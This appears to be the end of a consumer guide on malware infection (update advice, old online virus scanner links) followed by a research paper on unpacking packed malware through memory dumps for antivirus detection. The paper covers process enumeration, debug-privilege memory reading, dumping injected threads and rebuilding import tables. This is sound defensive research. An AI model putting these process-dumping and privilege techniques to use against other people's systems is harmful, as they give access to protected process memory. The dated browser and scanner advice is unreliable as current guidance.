A significant number of malware will get onto systems by exploiting known vulnerabilities in the 
operating system or applications. So, make it harder for them to 'own' your box, update it!

Fifth question for you is:

Do you still use Internet Explorer?

If so, then you are making it easier for adware, spyware and some malware to infect you via your 
browser, yes Internet Explorer is a 'Holey Browser, Batman'. I would strongly suggest that you use 
another one such as Firefox or Mozilla instead as it tends to have less holes for the nasties on the 
web to crawl in through.

Have you noticed the theme yet? No, well just to make it clear; There is NO excuse for not having 
protection against  Malware,  Spyware and Hackers  installed on that  shiny new PC [or  that  old 
grubby one for that matter].

So, if you have done all of the above and still think you are infected by something new, proceed to 
the next section:

Why do you think you are infected?

If the answer is "my system keeps crashing, behaving badly or won't do what I want it to do..." then 
a virus or other malware may be the least likely of your problems. The most likely causes are faulty 
memory or other hardware component, a corrupted file system (component or data corruption) or 
software/operating system mis-configuration or  dare-I-say-it,  "user  error".  So,  check these first 
before jumping to conclusions about being infected.

If you have tried all the above suggestions, and ruled out all the other possibilities listed above, 
especially the "end-user" problem and still think you have a new Pox on your box, then it is time to 
get a second opinion. Just as you would if you think your Doctor has mis-diagnosed you.

The  first  step  is  to  use  one  or  more  other  virus  scanners.  I  would  strongly  recommend  the 
Kaspersky, BitDefender, McAfee and TREND ones for starters.

Online Virus Scanners:

http://www.bitdefender.com/scan/licence.php BitDefender

http://housecall.trendmicro.com/ TREND

http://www.pandasoftware.com/activescan/ Panda

http://us.mcafee.com/root/mfs/default.asp McAfee

http://us.mcafee.com/root/mfs/default.asp
http://www.pandasoftware.com/activescan
http://housecall.trendmicro.com/
http://www.bitdefender.com/scan/licence.php


http://www.kaspersky.com/remoteviruschk.html Kaspersky

http://www.ravantivirus.com/scan RAV

http://security.symantec.com/sscv6/home.asp Symantec

http://security.symantec.com/sscv6/home.asp
http://www.ravantivirus.com/scan
http://www.kaspersky.com/remoteviruschk.html


i Source: http://www.theregister.co.uk/2005/07/01/sophos_1h05_malware_report 

http://www.theregister.co.uk/2005/07/01/sophos_1h05_malware_report
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Using memory dump for unpacking 

Abstract  
 
 This paper considers unpacking of packed executable files using memory dump. Described what is 
a packer or encryptor and what methods they use for unpacking avoidance. Two applications are 
considered:  laboratory research and real time protection. Described methods of obtaining memory 
dump for running process, DLL and injected thread. Considered solving problems of OS 
limitations, finding image in memory, anti-dumping protection. Described methods of converting 
obtained dump into executable file look for antivirus scanner:  entrypoint and import table 
restoration. 

Introduction  
The malware commonly uses increasingly diverse and strong packers and encryptors, currently and 
for many years most of malicious PE executable programs are packed/encrypted. The executable 
packers and encryptors are created to decrease size of original PE file and/or protect it from reverse 
engineering, what is also aim or any malware. This makes both user protection and file analyze 
more complex and time consuming.  
Although most of modern malware does not change itself and may be detected by CRC specifically, 
regardless a packer, there are usually numerous short living variants of a malware, so that efficient 
protection may be provided only using generic detection. The generic detection cannot be provided 
in most cases if a file is packed and the antivirus is unable to unpack in to see its code and data. The 
packers are created both commercially and by hackers, many resources are spent for packer 
development so that antivirus researchers should spend more and more time to provide unpacking 
routines.  
Additionally, unpacking complicated packers consumes CPU resources and so slows down scanner. 
The packed file, especially malicious one, is not limited in time to unpack/decrypt itself because of 
it runs silently, while antivirus scanner is hardly limited and should not cause unacceptable 
slowdown. One of solutions to unpack a file is using memory dump. 

Discussion 
The Packer 
Packer is an utility that converts a PE executable to smaller file that runs in same way as original 
file. Cryptor is not much different from packer but encrypts the file. Example is well-known UPX. 
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 The UPX packs all the section except of resources (optionally), to one packed section, destroys 
sections structure and does not preserve import table, doing import with LoadLibrary and 
GetProcAddress() using its own table dissimilar PE import table.  
  
The Aim 
There are two cases when we need unpacked file: virus scanning and sample analysis .The aim of 
unpacking is to obtain a file in original form as it was before packing or encryption. Essential parts 
in descending order of importance, are unpacking of all the stuff that is loaded to memory, setting 
correct entrypoint, and restoring import and export table. The unpacked stuff is in most cases 
enough to obtain generic detection that is some template, and do some analyse using code and data. 
The entry point is needed to determine executable format  (compiler used) and to run emulator. The 
import table is also needed to run emulator to provide correct execution sequence when the 
execution flow meets imported function, and get behaviour for heuristic analysis. The export table 
is needed for detection when it depends on DLL internal name and exports, and also for emulation 
from export entry points.  
 
Applications 
 
 The unpacking via dump may be used in following ways: 

1) Malware research. 
2) Scanning files that already run at infected computer. 
3) Running suspected files in virtual environment (VmWare) in applications like email 

attachment scanning. 
 
Static unpacking   
Static unpacking is unpacking of   packed/encrypted PE file using special software when the file 
does not actually run.  The static unpacker generally follows the unpacker code in the file. 
To pass polymorphic parts of packer/cryptor, following methods are used. First, general-purpose 
emulator that runs and produces decrypted buffer. It could be very slow. Second, pass of code 
analysis on polymorphic code and creation of pseudo-code for specific emulator that is much faster 
than general purpose one, also taking into account possibility of delay loop bypassing. Specific 
unpacker is written once for given type of packer and then runs on files recognized as packed by it. 
Generic unpacker is emulator that recognizes compression or encryption, then runs and produces 
unpacked image in virtual emulator memory, also using known routine recognition and substitution, 
like memcpy, various kinds of CRC and decompression. It is usually slow and works successfully 
with acceptable speed on small files. 

 For above mentioned UPX, static unpacker unpacks data to one section that covers former 
.text and .data , restores entrypoint RVA value according to UPX’ jump to host, and builds new 
import table using UPX’ internal table, placing new import table to end of image. For this, a 
researcher analyses UPX packed files (or uses source code that is available), writes unpacking 
routine and recognition for UPX. Then the unpacking is applied by antivirus scanner to any PE file 
that is recognized as UPX and is not recognized as known one  (it is useless to unpack Rar SfX 
code). 
 
Obtaining memory dump 
Memory dump of a PE file is a file that contains content of memory from the beginning to the end 
of image (ImageSize in PE header). Also may be useful stack and allocated memory dumps. 



Separate case is thread injected to another process, which is usually a memory block allocated using 
VirtualAllocEx(). There may be several instances of the same EXE file that theoretically may be 
different, practically in most cases it is enough to process first one. In same way, there may be 
several instances of the same DLL in context of different processes.  
 
OS approach 
Because of a utility can run at different and even unknown OS, modifications and service packs, we 
apply mixed OS approach. We try to get known exported procedure address, remember whether it 
exists, try to read memory structures, and get some results, hopefully acceptable. 
 
Dumping using Toolhelp 
The memory dump is obtained with ReadProcessMemory(hProcess), where hProcess is process 
handle. The handle is obtained with OpenProcess (processId). Success of OpenProcess() depends on 
privileges of caller and process being opened. If there is not enough privileges, they may be tried to 
be raised using SetPrivilege() to current thread with SE_DEBUG_NAME. 
This method allows to Administrator to dump all the processes, including services and privileged 
processes, at most versions of Windows.  
 
The processID is obtained by enumerating running processes. The enumeration may be done using 
toolhelp functions. First processes snapshot is created using 
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS), and processes are enumerated with 
Process32First and Process32Next. Then modules snapshot is created for current process with 
CreateToolhelp32Snapshot(TH32CS_SNAPMODULE) , ane modules are enumerated using 
Module32First and Module32Next. Then by module name and process executable path a module is 
chosen for dumping and is dumped by reading memory from module loading base. The snapshot 
creation should be performed in separate thread with watchdog because of it can hang. The success 
of process and module enumeration depends on privileges; more may be achieved by direct access 
to ntdll.  
   There are different restrictions in Win9x platform, and there are some specific features, we won’t 
discuss it as obsolete one. 
 
Dumping using direct access to ntdll 
 
The toolhelp actually is interface to undocumented functions in ntdll.dll 
NtQueryInformationProcess() and NtQuerySystemInformation().Calling  these functions directly 
allows to dump more protected processes.  
 
 NtQuerySystemInformation(magic,buf,bufSize,&sizeUsed) returns array of  variable length 
structures of format: 
dword size; char data[size], last in array is of 0 size. 

The structures contain processID and pointer to widechar process name; the name is also 
inside of the current variable length structure. 
 
  Then process is opened with OpenProcess(PID). 
 

 NtQueryInformationProcess(hProcess,0,buf18,0x18,0) reads structure1 of 0x18 bytes long.  
Inside there is a pointer to structure2.  



The structure2 contains at a pointer to structure3. Structure3 contains a pointer to another of 
structure3   forming circular linked list. Inside of structure3 there is hModule and a pointer to next 
structure3 in linked list. So we obtain list of module handles of this process. Inside of this structure 
there is also module name length and a pointer to module name. hModule is virtual address of the 
module in process context. 
 
 
 
 
 
 
 
 
 
 
 
 
Picture 2: Structures holding process modules information 
 
Dumping spawned process and loaded DLL 
When a researcher spawns a process with CreateProcess() when investigating a file, or realtime  
scanner has hook of  execution, one obtain process handle and ID, that makes part of work related 
to obtaining process ID unnecessary. Similarly, when a researcher loads a DLL being investigated, 
it appears in current process context and with known loading address. 
 
Dumping injected code 
Consider some real downloader that injects its code to Internet Explorer and does  
all its work in injected threads, while injected code in encrypted in original file. 
 When the process being investigated is injected with our monitor, every API call is 
monitored. The hooks return: 
 
 VirtualAllocEx (Iexplore.exe, 120000, 0x4000) 
 CreateRemoteThread(Iexplore.exe, 121000) 
 

So we see that remote thread is created in context of Iexplore in memory block of certain 
size and with given entrypoint. Then given chunk of memory is dumped using above described 
methods. For convenience, it can be placed into stub PE file with single section, entrypoint at thread 
entry offset and import table constructed as described below. Then a researcher obtains file 
convenient for research.  

Obtaining correct start address or running remote thread is somewhat problematic and is 
currently under research. Known methods sometimes return address in Kernel or another irrelevant 
results. 

There is another, simpler method of injection is using injection DLL, where remote thread 
only calls LoadLibrary() to malicious DLL. This DLL is seen in context of injected process as a 
module and dumping it is trivial. 
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Picture 3: Various methods of code injection 
 
 
Dumping stack and memory 
The stack pointer may be determined by injecting monitor into program, loading it into debugger, or 
obtaining ESP from CONTEXT structure of a thread. The heap can be enumerated using helptool  
functions, alternatively – by injection to program memory and hooking allocation functions. 
Heap and stack blocks may be dumped and scanned to detect code chunks that are decrypted and 
executed in memory of heap. Also they may be used for sample analyse to see memory or heap 
references in code and data and code in stack and heap themselves. 
 
Necessity to dump 
When the dumping is done in realtime environment, the program should determine whether it is 
worth to try to unpack via dump. First, need in unpacking is verified. The scanner attempts to 
determine executable format. If the format is successfully determined, it could appear a packer that 
is assigned to be unpacked using dump. If the format is not determined because of polymorphism or 
just unknown nature of file, statistic and geometric check is performed:  position of entrypoint, 
presence of parts that look encrypted or packed, also behaviour during emulation is taken into 
account. In research work, a researcher decides manually whether he wants to unpack using dump. 
This could be more useful than using static unpacking even if it is available, because of presence of 
runtime information; this will be explained later. 
 
Choosing time to dump 
In realtime system that does not use hooks, there aren’t many options. The memory snapshot is 
searched for presence of file being dumped, and if it is found, the dumping is performed. If a 
memory snapshot is too old, new one is produced.  
In investigation work, it is a possibility to dump a malware that works once for short time and then 
terminates. It is necessary to dump when unpacking is finished but before application terminated, 
sometimes in middle of work because of some data will be erased later. The straightforward method 
is to dump “immediately” after launching a program, but it works not always because of some 
packers are slow. Another approach is to dump manually by key pressing while watching on visual 
malware activity and output of monitors, several times, then there will be several dumps and a 
researcher chooses the better one. In case of unsatisfactory result, it is possible to reload a file as 
many times as researcher wants. 
One more approach is to inject to process being investigated and hook imported functions, then 
dump depending on what is called, ExitProcess() is most obvious. 
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Dump conversion 
Aligning the dump 
First, the dump’s object table is modified so that any physical offset becomes equal to RVA, and 
physical size – to virtual size. The dump becomes like file and references are seen: 

 
push  403108 ; “virus” 
call [403200] 

 
Finding original entry point 
 
The entry point is found by searching in memory for patterns of entry points of known executable 
formats (compilers etc.), with check of pointer references and call destination.  
 
 push 403000 ;VB5!    �This is entrypoint and format is Visual Basic 
 call  401245 
 
For files with unknown format or written in assembly language, call three analyse can be applied, so 
that entry point would be suggested call point without reference, calls from that cover all other 
found functions: 
 
 401000:push ebp 
   mov ebp, esp 
 
 401120: push ebp               ;� entrypoint is maybe here 
    mov ebp, esp 
    call  401000 
 
Creating import table 
Quite rarely encrypted or packed files have full import table in memory. Because of this, an import 
table is reconstructed. The import table after end of importing has array (or just one value) of 
pointers to exported functions from DLLs loaded by this process. Having list of modules, the 
program at real time in context of running process examines every dword in file as being value of 
exported function of one of modules, then re-creates import table at end of image and extends 
image size, so that FirstThunk array for given DLL will be at place where addresses of functions are 
found: 

 
402000: CreateFile() 
402004: ExitProcess() 

 ……… 
 end of image 
 408000: OriginalFirstThunk -> 00 “CreateFile”,0,00 “ExitProcess” 

  TimeDateStamp 
               ForwarderChain 

   NameRVA  -> “kernel32.dll” 
                           FirstThunk  =  402000 
 
 



As an additional result, we obtain import table entries where there were absent in original file and 
imported addressed were written by program at runtime: 
 
Original file: 
 call [402000 ] ;???? 
 
Dump: 
 call [402000 ] ;kernel32.ExitProcess 

Conclusion 
Using memory dump for unpacking can increase productivity of research and detection rate for 
malicious files that run at infected computer. 
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